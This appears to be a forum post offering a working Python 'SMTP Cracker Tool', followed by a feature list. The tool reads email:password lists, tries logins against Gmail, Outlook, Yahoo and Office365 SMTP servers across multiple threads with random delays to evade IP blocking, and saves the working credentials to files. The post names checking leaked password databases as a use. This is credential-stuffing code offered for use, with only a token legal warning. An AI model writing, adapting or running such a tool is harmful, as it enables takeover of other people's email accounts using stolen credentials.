This code is a tool to check the validity of email accounts via SMTP servers. It tries to authorize on mail servers using provided email:password pairs and saves successful attempts to files.
The main functions of the code are:
Verifies credentials:
Multi-threaded processing:
Logging and saving results:
Interface:
Possible applications:
Code
import os
import smtplib
import concurrent.futures
import sys
import time
import random
from tkinter import Tk
from tkinter.filedialog import askopenfilename
from colorama import Fore, Style, init
import threading
from datetime import datetime
import logging
# Configuring error logging
logging.basicConfig(filename='smtp_checker_errors.log', level=logging.ERROR,
format='%(asctime)s - %(levelname)s - %(message)s')
# Initializing Colorama
init(autoreset=True)
BANNER = """
============================
SMTP Cracker Tool
============================
"""
SMTP_SERVERS = {
"gmail": {"server": "smtp.gmail.com", "port": 587},
"outlook": {"server": "smtp-mail.outlook.com", "port": 587},
"yahoo": {"server": "smtp.mail.yahoo.com", "port": 587},
# Delays for each service
"office365": {"server": "smtp.office365.com", "port": 587, "delay": 5}
}
# Global variables with protection
VALIDS = 0
INVALIDS = 0
TOTAL_LINES = 0
PROCESSED_LINES = 0
LOCK = threading.Lock()
MAX_THREADS = 10 # Small number of threads
def check_smtp_connection(email: str, password: str, smtp_server: str, port: int) -> bool:
try:
# Incidental delay to avoid blocking
time.sleep(random.uniform(1, 3))
with smtplib.SMTP(smtp_server, port, timeout=10) as server:
server.starttls()
server.login(email, password)
return True
except Exception as e:
logging.error(f"Error checking {email} on {smtp_server}: {str(e)}")
return False
def process_email(email_pass: str, folder_path: str):
global VALIDS, INVALIDS, PROCESSED_LINES
try:
# Format validation
if email_pass.count(":") != 1:
logging.warning(f"Invalid string format: {email_pass}")
return
email, password = email_pass.strip().split(":")
domain = email.split("@")[-1].lower()
# Checking only known servers
for server_name, server_info in SMTP_SERVERS.items():
if server_name in domain or domain.endswith(server_name + ".com"):
if check_smtp_connection(email, password, server_info["server"], server_info["port"]):
with LOCK:
VALIDS += 1
save_valid_account(folder_path, server_name, email, password,
server_info["server"], server_info["port"])
print(Fore.GREEN + f"[VALID] {email}:{password} ({server_name})")
break
else:
with LOCK:
INVALIDS += 1
print(Fore.RED + f"[INVALID] {email}:{password}")
except Exception as e:
logging.error(f"Critical processing error {email_pass}: {str(e)}")
finally:
with LOCK:
PROCESSED_LINES += 1
def save_valid_account(folder_path: str, service: str, email: str,
password: str, server: str, port: int):
filename = f"valid_{service}_accounts.txt"
with open(os.path.join(folder_path, filename), "a") as f:
f.write(f"{email}:{password}|{server}:{port}\n")
def main():
print(Fore.CYAN + BANNER + Style.RESET_ALL)
# Selecting a data file
Tk().withdraw()
file_path = askopenfilename(title="Select the file with email:password",
filetypes=[("Text files", "*.txt")])
if not file_path:
print(Fore.RED + "The file is not selected. Exit." + Style.RESET_ALL)
return
# Reading a file with error handling
try:
with open(file_path, "r", encoding='utf-8', errors='ignore') as f:
email_pass_list = [line.strip() for line in f if line.strip()]
TOTAL_LINES = len(email_pass_list)
except Exception as e:
print(Fore.RED + f"File read error: {e}" + Style.RESET_ALL)
return
# Creating a folder for results
timestamp = datetime.now().strftime("%Y%m%d_%H%M")
result_folder = f"smtp_results_{timestamp}"
os.makedirs(result_folder, exist_ok=True)
# Limited multithreaded processing
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
futures = [executor.submit(process_email, email_pass, result_folder)
for email_pass in email_pass_list]
# Progress Bar
while not all(f.done() for f in futures):
time.sleep(0.5)
with LOCK:
print(f"\rОбработано: {PROCESSED_LINES}/{TOTAL_LINES}", end="")
print(Fore.CYAN + f"\n\nDone! Valid: {VALIDS}, Invalid: {INVALIDS}" + Style.RESET_ALL)
print(Fore.YELLOW + "Warning: Use of this tool may violate laws." + Style.RESET_ALL)
if __name__ == "__main__":
main()The main functions of the code are:
Verifies credentials:
- Reads a file with email:password combinations.
- Tries to connect to SMTP servers (Gmail, Outlook, Yahoo, Office365) and authenticate.
- Determines if the credentials are valid.
Multi-threaded processing:
- Uses ThreadPoolExecutor to validate credentials in parallel (limited to 10 threads).
- Adds random delays between requests to avoid IP blocking.
Logging and saving results:
- Saves valid credentials to files like valid_<service>_accounts.txt.
- Logs errors to the smtp_checker_errors.log file.
- Outputs statistics: number of valid and invalid records.
Interface:
- Uses a graphical window (via tkinter) to select a data file.
- Outputs colored messages to the console (via colorama).
Possible applications:
- Checking leaked data (e.g. email:password lists from public databases).
- Testing your own accounts for security.
- Automate the validation of email accounts.



![[Image: 6KMyuYs.png]](https://i.imgur.com/6KMyuYs.png)

